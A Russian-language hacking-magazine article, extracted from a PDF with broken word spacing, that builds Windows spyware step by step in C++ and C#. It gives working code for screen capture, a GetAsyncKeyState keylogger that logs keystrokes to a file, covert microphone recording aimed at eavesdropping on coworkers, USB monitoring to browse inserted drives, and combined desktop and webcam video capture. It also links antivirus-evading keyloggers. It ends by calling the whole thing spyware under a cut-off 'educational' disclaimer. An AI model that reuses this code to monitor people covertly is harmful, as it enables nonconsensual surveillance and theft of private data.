Write-Host "Screenshot saved to C:\1.png"

Этот код, исполь зуя опи сан ный выше алго ритм, соз даст сни мок экра на в 

.

C:\
1.png

Сни мок экра на, сде лан ный при помощи PowerShell

На C++ все будет чуточ ку слож нее. Так как фун кция боль шая, я сна чала дам
пол ный ее код, а затем раз берем его по шагам. Итак, фун кцию я наз вал

. Она при нима ет лишь один параметр — путь, по которо му нуж- 

но сох ранить изоб ражение.

SaveBitmap()

#include <windows.h>
   BOOL WINAPI SaveBitmap(WCHAR* wPath)

{
    BITMAPFILEHEADER bfHeader;
    BITMAPINFOHEADER biHeader;
    BITMAPINFO bInfo;
    HGDIOBJ hTempBitmap;
    HBITMAP hBitmap;
    BITMAP bAllDesktops;
     HDC hDC, hMemDC;
     LONG lWidth, lHeight;
      BYTE* bBits = NULL;
      HANDLE hHeap = GetProcessHeap();
       DWORD cbBits, dwWritten = 0;
    HANDLE hFile;
      INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
      INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);

    ZeroMemory(&bfHeader, sizeof(BITMAPFILEHEADER));
    ZeroMemory(&biHeader, sizeof(BITMAPINFOHEADER));
    ZeroMemory(&bInfo, sizeof(BITMAPINFO));
    ZeroMemory(&bAllDesktops, sizeof(BITMAP));

     hDC = GetDC(NULL);
      hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);
     GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);

     lWidth = bAllDesktops.bmWidth;
     lHeight = bAllDesktops.bmHeight;

   DeleteObject(hTempBitmap);

         bfHeader.bfType = (WORD)('B' | ('M' << 8));
       bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(
BITMAPINFOHEADER);
     biHeader.biSize = sizeof(BITMAPINFOHEADER);
     biHeader.biBitCount = 24;
     biHeader.biCompression = BI_RGB;
     biHeader.biPlanes = 1;
     biHeader.biWidth = lWidth;
     biHeader.biHeight = lHeight;

     bInfo.bmiHeader = biHeader;

               cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;

     hMemDC = CreateCompatibleDC(hDC);
        

  
hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&

bBits, NULL, 0);
    SelectObject(hMemDC, hBitmap);
           BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);

           
  

hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
      if (INVALID_HANDLE_VALUE == hFile)
   {
       DeleteDC(hMemDC);

        ReleaseDC(NULL, hDC);
       DeleteObject(hBitmap);

        return FALSE;
   }
       WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten,
NULL);
       WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten,
NULL);
       WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
   FlushFileBuffers(hFile);
   CloseHandle(hFile);

   DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
   DeleteObject(hBitmap);

    return TRUE;
}

  int main() {
      LPWSTR path = (LPWSTR)L"C:\\1.jpg";
   SaveBitmap(path);
    return 0;
}

В начале идет объ явле ние необ ходимых струк тур и перемен ных, в час тнос ти,
инстан циру ем экзем пля ры  и , они
необ ходимы для соз дания рас тро вого изоб ражения.

BITMAPFILEHEADER BITMAPINFOHEADER

 BITMAPFILEHEADER bfHeader;
 BITMAPINFOHEADER biHeader;

 BITMAPINFO bInfo;
 HGDIOBJ hTempBitmap;
 HBITMAP hBitmap;
 BITMAP bAllDesktops;

  HDC hDC, hMemDC;
  LONG lWidth, lHeight;
   BYTE* bBits = NULL;
   HANDLE hHeap = GetProcessHeap();
    DWORD cbBits, dwWritten = 0;
 HANDLE hFile;

Сле дующим шагом с помощью  получа ем раз меры вир- 
туаль ного экра на. Вир туаль ный экран — пря моуголь ник, в который мож но
впи сать изоб ражения со всех монито ров.

GetSystemMetrics()

   INT x = GetSystemMetrics(SM_XVIRTUALSCREEN);
   INT y = GetSystemMetrics(SM_YVIRTUALSCREEN);

Нап ример, если у нас два монито ра: 1920 на 1080 и 3440 на 1440, то по вер- 
тикали у это го изоб ражения дол жно быть 1080 + 1440 пик селей, а по
горизон тали — 3440.

Рас положе ние монито ров

Тем не менее очень мно гое зависит от рас положе ния монито ров. Если они
рас положе ны по-дру гому, то по вер тикали может быть 1440, а по горизон- 
тали 3440 + 1080 пик селей.

Что бы получить кон текст устрой ства (текуще го вир туаль ного экра на),
исполь зуем . Затем извле каем информа цию об этом битовом бло ке
( ) через  и .

GetDC()
HGDIOBJ GetCurrentObject() GetObjectW()

  hDC = GetDC(NULL);
   hTempBitmap = GetCurrentObject(hDC, OBJ_BITMAP);

  GetObjectW(hTempBitmap, sizeof(BITMAP), &bAllDesktops);

Сле дующим шагом оста ется пра виль но под готовить струк туру
, она нуж на для всех рас тро вых фай лов. Парал лель но

не забыва ем об очис тке ресур сов.

BITMAPFILEHEADER

  lWidth = bAllDesktops.bmWidth;
  lHeight = bAllDesktops.bmHeight;

DeleteObject(hTempBitmap);

      bfHeader.bfType = (WORD)('B' | ('M' << 8));
    bfHeader.bfOffBits = sizeof(BITMAPFILEHEADER) + sizeof(

BITMAPINFOHEADER);
  biHeader.biSize = sizeof(BITMAPINFOHEADER);

  biHeader.biBitCount = 24;
  biHeader.biCompression = BI_RGB;

  biHeader.biPlanes = 1;
  biHeader.biWidth = lWidth;
  biHeader.biHeight = lHeight;

  bInfo.bmiHeader = biHeader;

            cbBits = (((24 * lWidth + 31) & ~31) / 8) * lHeight;

За тем наконец-то дела ем «сни мок». Через  соз даем так
называ емый кон текст памяти. В него будет помещен наш скрин шот. Сле дом
соз даем блок сек ции с информа цией, опре делен ной в , через

. И (о чудо!) помеща ем соз данную сек цию в кон текст
памяти, а затем копиру ем в него изоб ражение экра на через .

CreateCompatibleDC()

BITMAPINFO
CreateDIBSection()

BitBlt()

  hMemDC = CreateCompatibleDC(hDC);
     
  

hBitmap = CreateDIBSection(hDC, &bInfo, DIB_RGB_COLORS, (VOID**)&
bBits, NULL, 0);

 SelectObject(hMemDC, hBitmap);
        BitBlt(hMemDC, 0, 0, lWidth, lHeight, hDC, x, y, SRCCOPY);

К сло ву, имен но фун кция  исполь зует ся во вся кой вирус няге вро де
HRDP и HVNC. Но опи сание прин ципа работы таких инс тру мен тов тянет
далеко не на одну статью (изви няюсь за веселый калам бур).

BitBlt()

Ос тает ся лишь счи тать дан ные и записать их в наш выход ной файл.

           
  

hFile = CreateFileW(wPath, GENERIC_WRITE | GENERIC_READ, 0, NULL,
CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
      if (INVALID_HANDLE_VALUE == hFile)
   {
       DeleteDC(hMemDC);

        ReleaseDC(NULL, hDC);
       DeleteObject(hBitmap);

        return FALSE;
   }
       WriteFile(hFile, &bfHeader, sizeof(BITMAPFILEHEADER), &dwWritten,
NULL);
       WriteFile(hFile, &biHeader, sizeof(BITMAPINFOHEADER), &dwWritten,
NULL);
       WriteFile(hFile, bBits, cbBits, &dwWritten, NULL);
   FlushFileBuffers(hFile);
   CloseHandle(hFile);

   DeleteDC(hMemDC);
    ReleaseDC(NULL, hDC);
   DeleteObject(hBitmap);

    return TRUE;
}

Продолжение статьи →

https://learn.microsoft.com/ru-ru/dotnet/api/system.windows.forms.screen.allscreens?view=windowsdesktop-8.0
https://learn.microsoft.com/ru-ru/dotnet/api/system.drawing.graphics.copyfromscreen?view=dotnet-plat-ext-8.0
https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapfileheader
https://learn.microsoft.com/en-us/windows/win32/api/wingdi/ns-wingdi-bitmapinfoheader
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getsystemmetrics
https://learn.microsoft.com/ru-ru/windows/win32/api/winuser/nf-winuser-getdc
https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-getcurrentobject
https://learn.microsoft.com/ru-ru/windows/win32/api/wingdi/nf-wingdi-getobjectw
https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createcompatibledc
https://learn.microsoft.com/en-us/windows/win32/api/wingdi/nf-wingdi-createdibsection
https://learn.microsoft.com/ru-ru/windows/win32/api/wingdi/nf-wingdi-bitblt
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Не упо мянуть такой инс тру мент из стан дар тно го джентль мен ско го набора я
не мог, но и в оче ред ной раз опи сывать пос троч но прин цип работы кода
на том же  или хуках не очень хочет ся. Поэто му прос то

дам ссыл ки на наибо лее удач ные реали зации и наибо лее инте рес ные статьи
на эту тему.

GetAsyncKeyState()

«
»;

• Кей лог гер по-домаш нему. Пишем на C# кей лог гер, который не палит ся
анти виру сами

 — тут опи сано, как писать кей лог гер,
который кор рек тно логиру ет любые кла виши на любой кла виату ре (при вет
проб лемам с кодиров кой!).

• Writing a Decent Win32 Keylogger

А еще в Windows сущес тву ет фун кция , с ее помощью
мож но уста новить хук. Хук поз воля ет перенап равить поток управле ния
целевой прог раммы в наш код. Если мы пос тавим хук на , то
смо жем отсле живать все нажатия кла виш в сис теме.

SetWindowsHookEx()

WH_KEYBOARD

Я выложил  на GitHub. У прог раммы прос тень кий
GUI. Жмешь на кноп ку, и хук уста нав лива ется, пос ле чего через Message Box
тебя будут опо вещать о нажатии на кла вишу.

код подоб ного кей лог гера

Об рати вни мание, что Message Box будет воз никать дваж ды, даже ког да
кла виша была нажата еди нож ды. Пер вый раз — при опус кании кла виши
( ), а затем при под нятии ( ).WM_KEYDOWN WN_KEYUP

Аль тер натив ный вари ант — исполь зовать . Этот
механизм пыта ется най ти нажатую в текущий момент кла вишу. Если фун кция
опре дели ла, что кла виша нажата, кей лог гер зап ротоко лиру ет это.

GetAsyncKeyState()

#include <windows.h>
#include <fstream>

  int main() {
    std::ofstream file;
    file.open("log.txt", std::fstream::app);

     while (true) {
        Sleep(10); // Пауза, чтобы снизить нагрузку на процессор

                for (int key = 8; key <= 190; key++) {
                if (GetAsyncKeyState(key) == -32767) { // Если клавиша 

была нажата
                  HWND foreground = GetForegroundWindow();

                 if (foreground) {

                          file << char(key); // Запись нажатой клавиши 
в файл
                       file.flush();
               }
           }
       }
   }

   file.close();
    return 0;
}

На GitHub есть и .пол ноцен ная реали зация
Как вари ант, мож но логиро вать нажатые кла виши через ETW, но это сра- 

бота ет толь ко с вир туаль ной (экранной) кла виату рой. Тем не менее 
тоже есть.

та кой PoC

ÀÓÄÈÎ

Хо чешь пос лушать, как материт ся сисад мин и о чем бол тает сек ретар ша?
Давай реали зуем под дер жку аудио!

На C++ код, который нам для это го понадо бит ся, будет боль шим, гро моз-
дким и неудоб ным. Плюс для исполне ния в памяти (как мы любим) пот ребу- 
ется кон верти ровать его в шелл-код, затем думать над инжекто ром, а уж
делать COFF — это сов сем для избран ных. Впро чем, если инте рес но
почитать про выпол нение в памяти, то обра ти вни мание на дру гую мою

.статью
Итак, вос поль зуем ся C#. Для записи аудио удоб но исполь зовать Nuget-

пакет .NAudio
Сра зу же находим .при мер исполь зования

  public void StartRec()
{
       WaveSourceStream = new NAudio.Wave.WaveInEvent();
      WaveSourceStream.DeviceNumber = 0;
       WaveSourceStream.WaveFormat = new WaveFormat(16000,1);
      WaveSourceStream.DataAvailable += sourceStream_DataAvailable;
    WaveSourceStream.StartRecording();
       bufl = new List<byte[]>();
}

Впро чем, все-таки луч ше написать с нуля. У меня получи лась вот такая прог- 
рамма.

 using System;
 using NAudio.Wave;
 using NAudio.Lame;

 namespace MicrophoneRecordToMp3
{
    class Program
   {

          static void Main(string[] args)
       {

              int deviceNumber = 1;
              string outputFilePath = "recorded_audio.mp3";

                using (var waveIn = new WaveInEvent())
           {

                 waveIn.DeviceNumber = deviceNumber;
                   waveIn.WaveFormat = new WaveFormat(44100, 1);

     
 

               var writer = new LameMP3FileWriter(outputFilePath,
waveIn.WaveFormat, LAMEPreset.STANDARD);

   
 

               void WaveInDataAvailable(object sender,
WaveInEventArgs e)
               {

                     writer.Write(e.Buffer, 0, e.BytesRecorded);
               }

                 waveIn.DataAvailable += WaveInDataAvailable;

               waveIn.StartRecording();
               Console.WriteLine("Recording... Press Enter to stop 
and save the file.");

               Console.ReadLine();

               waveIn.StopRecording();
           }

           Console.WriteLine($"Recording saved to '{outputFilePath}
'");
       }
   }
}

Этот код поз воля ет записы вать аудио с мик рофона в фор мате  до тех

пор, пока не будет нажата кла виша Enter. Проб лема в том, что здесь стро го
исполь зует ся некото рое пер вое ( ) мик рофон ное устрой- 

ство. Что бы исполь зовать устрой ство по умол чанию, прос то уда лим эти стро- 
ки.

.mp3

deviceNumber = 1

Ни же — финаль ный PoC.

 using System;
 using NAudio.Wave;
 using NAudio.Lame;

 namespace MicrophoneRecordToMp3
{
    class Program
   {

          static void Main(string[] args)
       {
           // Путь для сохранения файла

              string outputFilePath = "recorded_audio.mp3";

           // Инициализация объекта WaveInEvent для записи с 
микрофона

                using (var waveIn = new WaveInEvent())
           {
               // Задаем формат записи: частота дискретизации 44100 
Гц, один канал (моно)

                   waveIn.WaveFormat = new WaveFormat(44100, 1);

               // Создаем MP3 writer и оборачиваем его в using, 
чтобы обеспечить корректное закрытие файла

     
  

               using (var writer = new LameMP3FileWriter(
outputFilePath, waveIn.WaveFormat, LAMEPreset.STANDARD))
               {
                   // Обработчик события DataAvailable

   
 

                   void WaveInDataAvailable(object sender,
WaveInEventArgs e)
                   {

                         writer.Write(e.Buffer, 0, e.BytesRecorded);
                   }

                   // Подписываемся на событие DataAvailable
                     waveIn.DataAvailable += WaveInDataAvailable;

                   // Начинаем запись
                   waveIn.StartRecording();
                   Console.WriteLine("Recording... Press Enter to 
stop and save the file.");

                   // Ждем нажатия клавиши Enter для остановки 
записи
                   Console.ReadLine();

                   // Останавливаем запись
                   waveIn.StopRecording();
               }
           }

           // Сообщаем о сохранении записи
           Console.WriteLine($"Recording saved to '{outputFilePath}
'");
       }
   }
}

В статье, конеч но, про демонс три ровать тебе звук не могу, но он был успешно
записан, чес тно-чес тно! :)

Файл с записью зву ка

Кста ти, если тебя инте ресу ет спо соб на C++, то мож но исполь зовать 
, при мер кода есть .

Windows
Wave API на GitHub

Впро чем, сущес тву ют про екты, уме ющие писать звук и через DirectX, нап- 
ример .SharpDXWebcam

Хо чешь при колоть ся над адми ном в луч ших тра дици ях «Запад лос тро- 
ения»? Если он любит слу шать на работе музыку, то мы можем через 

изме нить уро вень гром кости! Устрой дис котеку!

NAudio

 using NAudio.CoreAudioApi;
 using System;

  public class VolumeChanger
{
      public void SetVolume(int volumeLevel)
   {

              if (volumeLevel < 0 || volumeLevel > 100)
             throw new ArgumentException("Volume must be between 0 

and 100.");

       // Инициализация объекта MMDeviceEnumerator для 
взаимодействия с аудиоустройствами

           MMDeviceEnumerator devEnum = new MMDeviceEnumerator();
   
 

       MMDevice defaultDevice = devEnum.GetDefaultAudioEndpoint(
DataFlow.Render, Role.Multimedia);

       // Приведение указанного уровня громкости в диапазоне от 0 
до 100 к диапазону от 0,0 до 1,0

            float normalizedVolumeLevel = volumeLevel / 100.0f;

       // Установка уровня громкости
         defaultDevice.AudioEndpointVolume.MasterVolumeLevelScalar =

normalizedVolumeLevel;

       // Опционально: включение/выключение звука (mute/unmute)
       // defaultDevice.AudioEndpointVolume.Mute = false;
   }
}

 class Program
{
      static void Main(string[] args)
   {

           VolumeChanger changer = new VolumeChanger();
         changer.SetVolume(50); // Установка громкости на 50%

   }
}

Ес ли нам нуж но исполь зовать C++, то при дет ся лезть в COM.

#include <Windows.h>
#include <mmdeviceapi.h>
#include <endpointvolume.h>
#include <iostream>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "winmm.lib")

  int main() {
      HRESULT hr = CoInitialize(NULL);
     if (FAILED(hr)) {

           std::cout << "Не удалось инициализировать COM библиотеку" <<
std::endl;

        return hr;
   }

      IMMDeviceEnumerator* deviceEnumerator = NULL;
       hr = CoCreateInstance(__uuidof(MMDeviceEnumerator), NULL,
CLSCTX_INPROC_SERVER,

        __uuidof(IMMDeviceEnumerator), (LPVOID*)&deviceEnumerator);
     if (FAILED(hr)) {

  
  

       std::cout << "Не удалось создать экземпляр 
MMDeviceEnumerator" << std::endl;
       CoUninitialize();

        return hr;
   }

      IMMDevice* defaultDevice = NULL;
      

 
hr = deviceEnumerator->GetDefaultAudioEndpoint(eRender,

eMultimedia, &defaultDevice);
   deviceEnumerator->Release();
     if (FAILED(hr)) {

           std::cout << "Не удалось получить устройство по умолчанию" <<
std::endl;
       CoUninitialize();

        return hr;
   }

      IAudioEndpointVolume* endpointVolume = NULL;
     hr = defaultDevice->Activate(__uuidof(IAudioEndpointVolume),

         CLSCTX_INPROC_SERVER, NULL, (LPVOID*)&endpointVolume);
   defaultDevice->Release();
     if (FAILED(hr)) {

           std::cout << "Не удалось активировать интерфейс громкости" <<
std::endl;
       CoUninitialize();

        return hr;
   }

   // Установить громкость (0.0 — минимум, 1.0 — максимум)
       float newVolume = 0.5; // 50%
      hr = endpointVolume->SetMasterVolumeLevelScalar(newVolume, NULL);
     if (FAILED(hr)) {

           std::cout << "Не удалось установить уровень громкости" << std
::endl;
   }
    else {

       
   
       std::cout << "Громкость установлена на " << newVolume * 100 <
< "%" << std::endl;
   }

   endpointVolume->Release();
   CoUninitialize();

    return 0;
}

Продолжение статьи →

https://xakep.ru/2019/03/15/diy-keylogger/
https://www.synacktiv.com/publications/writing-a-decent-win32-keylogger-13
https://learn.microsoft.com/ru-ru/windows/win32/api/winuser/nf-winuser-setwindowshookexa
https://gist.github.com/MzHmO/918a115e7562bc42af90798b03943b11
https://learn.microsoft.com/ru-ru/windows/win32/inputdev/wm-keydown
https://learn.microsoft.com/ru-ru/windows/win32/inputdev/wm-keyup
https://learn.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-getasynckeystate
https://github.com/ghostlulzhacks/Basic-Windows-keylogger
https://github.com/gtworek/PSBits/tree/master/ETW
https://habr.com/ru/companies/ru_mts/articles/767078/
https://www.nuget.org/packages/NAudio
https://csharp.hotexamples.com/ru/examples/NAudio.Wave/WaveInEvent/-/php-waveinevent-class-examples.html
https://learn.microsoft.com/en-us/windows/win32/coreaudio/about-the-windows-core-audio-apis
https://github.com/wyrover/AudioRecorder/tree/master
https://github.com/snovvcrash/SharpDXWebcam
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К целево му компь юте ру могут быть под клю чены раз ные устрой ства: флеш ки,
телефо ны, мыш ки, кла виату ры. Для работы с устрой ства ми сущес тву ет целый
класс API.

Нап ример, великий Павел Йоси фович в сво ей кни ге 
 на стра нице 540 демонс три рует фун кцию

. С ее помощью воз можно перечис лить под клю чен ные

устрой ства.

Windows 10 System
Programming Part 1
DisplayDevices()

Вы вод информа ции об устрой ствах

#define INITGUID

#include <string>
#include <vector>
#include <wiaintfc.h>
#include <Windows.h>
#include <SetupAPI.h>
#include <Wiaintfc.h>
#include <Ntddvdeo.h>
#include <initguid.h>
#include <Usbiodef.h>
#include <devpkey.h>
#include <Ntddkbd.h>
#include <ntddmou.h>
#include <ntddvdeo.h>
#include <locale>
#pragma comment(lib, "SetupAPI.lib")

  struct DeviceInfo {
    std::wstring SymbolicLink;
    std::wstring FriendlyName;
};

     
  

void DisplayDevices(const std::vector<DeviceInfo>& devices, const
char* name) {
      printf("%s\n%s\n", name, std::string(::strlen(name), '-').c_str
());
        for (auto& di : devices) {

        printf("Symbolic link: %ws\n", di.SymbolicLink.c_str());
        printf(" Name: %ws\n", di.FriendlyName.c_str());

           auto hDevice = ::CreateFile(di.SymbolicLink.c_str(),
GENERIC_READ,

             FILE_SHARE_READ | FILE_SHARE_WRITE,
              nullptr, OPEN_EXISTING, 0, nullptr);

          if (hDevice == INVALID_HANDLE_VALUE)
            printf(" Failed to open device (%d)\n", ::GetLastError())

;
        else {

           printf(" Device opened successfully!\n");
           ::CloseHandle(hDevice);
       }
   }
   printf("\n");
}

    std::vector<DeviceInfo> EnumDevices(const GUID& guid) {
    std::vector<DeviceInfo> devices;
        auto hInfoSet = ::SetupDiGetClassDevs(&guid, nullptr, nullptr,

         DIGCF_PRESENT | DIGCF_INTERFACEDEVICE);
      if (hInfoSet == INVALID_HANDLE_VALUE)

        return devices;
   devices.reserve(4);
        SP_INTERFACE_DEVICE_DATA data = { sizeof(data) };
    PSP_INTERFACE_DEVICE_DETAIL_DATA DevDetail;
        SP_DEVINFO_DATA ddata = { sizeof(ddata) };
      BYTE buffer[1 << 12];
    DWORD dw;
          for (DWORD i = 0; ; i++) {

    
  

       if (!::SetupDiEnumDeviceInterfaces(hInfoSet, nullptr, &guid,
i, &data)) {

             dw = GetLastError();
           break;
       }

         ULONG needed, l;
    

 
       ::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data, NULL, 0, &
needed, 0);

         l = needed;
  

   
       DevDetail = (SP_DEVICE_INTERFACE_DETAIL_DATA*)GlobalAlloc(
GPTR, l + 4);

         DevDetail->cbSize = sizeof(SP_INTERFACE_DEVICE_DETAIL_DATA);
   
    

       if (::SetupDiGetDeviceInterfaceDetail(hInfoSet, &data,
DevDetail, l, &needed, &ddata)) {

            DeviceInfo info;
             info.SymbolicLink = DevDetail->DevicePath;

             if (::SetupDiGetDeviceRegistryProperty(hInfoSet, &ddata,
                   SPDRP_DEVICEDESC, nullptr, buffer, sizeof(buffer),

nullptr))
                 info.FriendlyName = (WCHAR*)buffer;

           devices.push_back(std::move(info));
       }

         dw = GetLastError();
   }
   ::SetupDiDestroyDeviceInfoList(hInfoSet);
    return devices;
}

  int main() {
    setlocale(LC_ALL, "");
      auto devices = EnumDevices(GUID_DEVINTERFACE_IMAGE);
    DisplayDevices(devices, "Image");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MONITOR), "Monitor")
;
   DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISPLAY_ADAPTER),
"Display Adapter");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_DISK), "Disk");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_KEYBOARD),
"keyboard");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_USB_DEVICE), "usb");
    DisplayDevices(EnumDevices(GUID_DEVINTERFACE_MOUSE), "mouse");
    return 0;
}

Что уж тут говорить, для одной толь ко батареи в Windows есть отдель ный
API — .GetSystemPowerStatus()

#include <iostream>
#include <Windows.h>
#include <locale>

  int main() {
    setlocale(LC_ALL, "");
    SYSTEM_POWER_STATUS sps;
     if (GetSystemPowerStatus(&sps)) {

          int batteryLifePercent = sps.BatteryLifePercent;
           if (batteryLifePercent != 255) {

    
    

           std::cout << "Текущий заряд батареи: " <<
batteryLifePercent << "%" << std::endl;
       }

        else {
               std::cout << "Заряд батареи неизвестен." << std::endl;

       }
   }
    else {

  
  

       std::cout << "Не удалось получить информацию о состоянии 
питания." << std::endl;
   }
    return 0;
}

Ин форма ция о батарее

Кста ти, мож но зло упот реблять Windows Power Management API: реали зовать
необыч ный метод пер систа, при котором наш код будет исполнять ся
при вклю чении или отклю чении дис плея. Под робно мож но почитать в 

.
этом

ресер че VXUG
Ес ли опус кать ся чуть ниже, то основное вза имо дей ствие с любым устрой- 

ством про исхо дит через API .DeviceIoControl()

 BOOL DeviceIoControl(
     _In_ HANDLE hDevice,
     _In_ DWORD dwIoControlCode,
     _In_ LPVOID lpInBuffer,
     _In_ DWORD nInBufferSize,
     _Out_ LPVOID lpOutBuffer,
     _In_ DWORD nOutBufferSize,
     _Out_opt_ LPDWORD lpBytesReturned,
     _Inout_opt_ LPOVERLAPPED lpOverlapped);

За тык может про изой ти уже на вто ром аргу мен те — .

Для каж дого устрой ства могут быть уста нов лены собс твен ные управля ющие
коды, что нес коль ко усложня ет про цесс раз работ ки.

dwIoControlCode

Тем не менее сущес тву ет нес коль ко средств, которые помогут разоб рать- 
ся с устрой ства ми по API. Рекомен дую обра тить вни мание на .
Это пол ноцен ная боль шая прог рамма, которая поз воля ет извле кать
информа цию об устрой ствах и управлять ими.

DevCon

Впро чем, для сле жения нам дос таточ но лишь вов ремя получать информа- 
цию о под клю чении устрой ства. Из C# в таком слу чае про ще обра щать ся
к WMI. Я так сде лал в про екте .USB-Monitor

Там на помощь при шел , с ним мы можем зарегис три ровать
кол бэк, который будет выз ван при под клю чении нового USB-устрой ства.

WqlEventQuery

Даль ше дело за малым — нуж но, исхо дя из поля Service, опре делить,
какое устрой ство вста вили. В слу чае флеш ки будет стро ка , затем

нуж но кон верти ровать наз вание физичес кого дис ка ( )

в при выч ную бук ву ( ), а потом прос то вывес ти содер жимое пап ки, что бы
уви деть инте рес ные фай лы на флеш ке.

USBSTOR
\\.\PHYSICALDRIVE

E:

На C++ мож но обра баты вать раз личные сооб щения , но для
это го тре бует ся соз давать окон ное при ложе ние, что нам не очень под ходит.

WM_DEVICE

ÂÅÁ-ÊÀÌÅÐÀ

Ес ли у поль зовате ля есть веб-камера, зна чит, мы тоже можем ей вос поль- 
зовать ся. Одна ко здесь все чуточ ку слож нее.

Сно ва есть вари анты работы через DirectX:
;• Get-DXWebcamVideo.ps1

.• SharpDXWebCam

Проб лема в том, что в этих про ектах мно гова то кода, а нам нуж но отно ситель- 
но малень кое ком пак тное решение. Поэто му при бега ем к помощи

. Заод но добавим и запись экра на с веб-камеры. Будет пол- 
ноцен ная прок тор-прог рамма!
Accord.Video

Код, конеч но, все рав но получил ся немалень ким, поэто му я залил его 
.

на
GitHub

Стар товая фун кция выг лядит вот так.

   private static VideoFileWriter writer;
   private static Bitmap videoFrame;
   private static Bitmap webcamFrame;
       private static readonly object videoFrameLock = new object();
       private static readonly object webcamFrameLock = new object();
     private static bool isRecording = true;
  static void Main()

{
      Rectangle bounds = GetScreenBounds();
      int width = bounds.Width;
      int height = bounds.Height;

      writer = new VideoFileWriter();
       

 
writer.Open("desktop_with_webcam.avi", width, height, 10,

VideoCodec.MPEG4, 10000000);

         Thread screenThread = new Thread(() => CaptureDesktop(bounds));
   screenThread.Start();

      VideoCaptureDevice videoSource = StartWebCamCapture();
    Thread.Sleep(20000); // Двадцать секунд для записи

     isRecording = false;
   videoSource.SignalToStop();
   videoSource.WaitForStop();
   screenThread.Join();
   writer.Close();

   Console.WriteLine("Recording finished.");
}

Сна чала заводим нес коль ко гло баль ных перемен ных (это всё внут ри клас са
, поэто му будет пра виль нее ска зать ста тичес ких). Пос ле чего получа- 

ем раз меры всех монито ров, что бы понять раз меры вир туаль ного экра на.
Раз меры получа ем по уже опи сан ному ранее алго рит му.

Program

  static Rectangle GetScreenBounds()
{
      Rectangle bounds = Rectangle.Empty;
       foreach (Screen screen in Screen.AllScreens)
   {

          bounds = Rectangle.Union(bounds, screen.Bounds);
   }
    return bounds;
}

За тем ини циали зирую инстанс клас са . Парамет ры озна чают,
что будет соз дан виде офайл  раз мером, как у
рабочей области экра на, будет делать ся десять кад ров в секун ду, с исполь- 
зовани ем кодека MPEG4 и бит рей том 10 000 000.

VideoFileWriter()
desktop_with_webcam.avi

Сле дующим шагом стар тует новый отдель ный поток, в котором про исхо- 
дит зах ват изоб ражения с рабочих сто лов.

   static void CaptureDesktop(Rectangle bounds)
{
    while (isRecording)
   {

          Bitmap combinedFrame = null;
        lock (videoFrameLock)

       {
           // Создаем битмап с размерами, охватывающими все мониторы

               combinedFrame = new Bitmap(bounds.Width, bounds.Height);
               using (var g = Graphics.FromImage(combinedFrame))

           {
               // Координаты начала захвата учитывают отрицательные 
координаты

                   g.CopyFromScreen(bounds.Left, bounds.Top, 0, 0,
bounds.Size);

                lock (webcamFrameLock)
               {

                      if (webcamFrame != null)
                   {
                       // Положение для кадра веб-камеры

     
  

                       int x = combinedFrame.Width - webcamFrame.
Width - 10;

     
  

                       int y = combinedFrame.Height - webcamFrame.
Height - 10;

   
 

                       g.DrawImage(webcamFrame, x, y, webcamFrame.
Width, webcamFrame.Height);
                   }
               }
           }
       }
       writer.WriteVideoFrame(combinedFrame);
       combinedFrame.Dispose();
       Thread.Sleep(100);
   }
}

В основном потоке прог раммы получа ем видео с веб-камеры. Обра бот ка
каж дого получа емо го кад ра про исхо дит в событии , где текущий
кадр кло ниру ется и сох раня ется в перемен ную . Кло ниро вание

нуж но по той при чине, что объ ект  как бы счи тает ся занятым, и если

обра тить ся к нему, то вылезет исклю чение.

NewFrame
webcamFrame

NewFrame

  static VideoCaptureDevice StartWebCamCapture()
{
       FilterInfoCollection videoDevices = new FilterInfoCollection(
FilterCategory.VideoInputDevice);
      if (videoDevices.Count == 0)

         throw new ApplicationException("No webcam found.");
       VideoCaptureDevice videoSource = new VideoCaptureDevice(
videoDevices[0].MonikerString);
     videoSource.NewFrame += video_NewFrame;
   videoSource.Start();
    return videoSource;
}

     static void video_NewFrame(object sender, NewFrameEventArgs eventArgs
)
{
    lock (webcamFrameLock)
   {
       webcamFrame?.Dispose();

         webcamFrame = (Bitmap)eventArgs.Frame.Clone();
   }
}

За тем прог рамма ждет 20 секунд, видео пишет ся, пос ле чего потоки при- 
оста нав лива ются, а получен ная запись сох раня ется в файл.

    Thread.Sleep(20000); // Двадцать секунд для записи

     isRecording = false;
   videoSource.SignalToStop();
   videoSource.WaitForStop();
   screenThread.Join();

   writer.Close();
   Console.WriteLine("Recording finished.");
}

За пус каем — и в катало ге с прог раммой видим завет ный виде оро лик!

Ус пешный зах ват

ÂÛÂÎÄÛ

Не зря любая книж ка по WinAPI для начина ющих пер вым делом рас ска зыва ет
о гра фике! И не зря в вузе столь ко вре мени показы вали C# и механизм его
работы. Сов местив раз рознен ные зна ния, мож но писать слож ные и необыч- 
ные шту ки, в том чис ле пол ноцен ную спай варь. Глав ное — пом ни, что дела ем
мы это стро го в целях обу чения, а при менять если и будем, то в рам ках кон- 
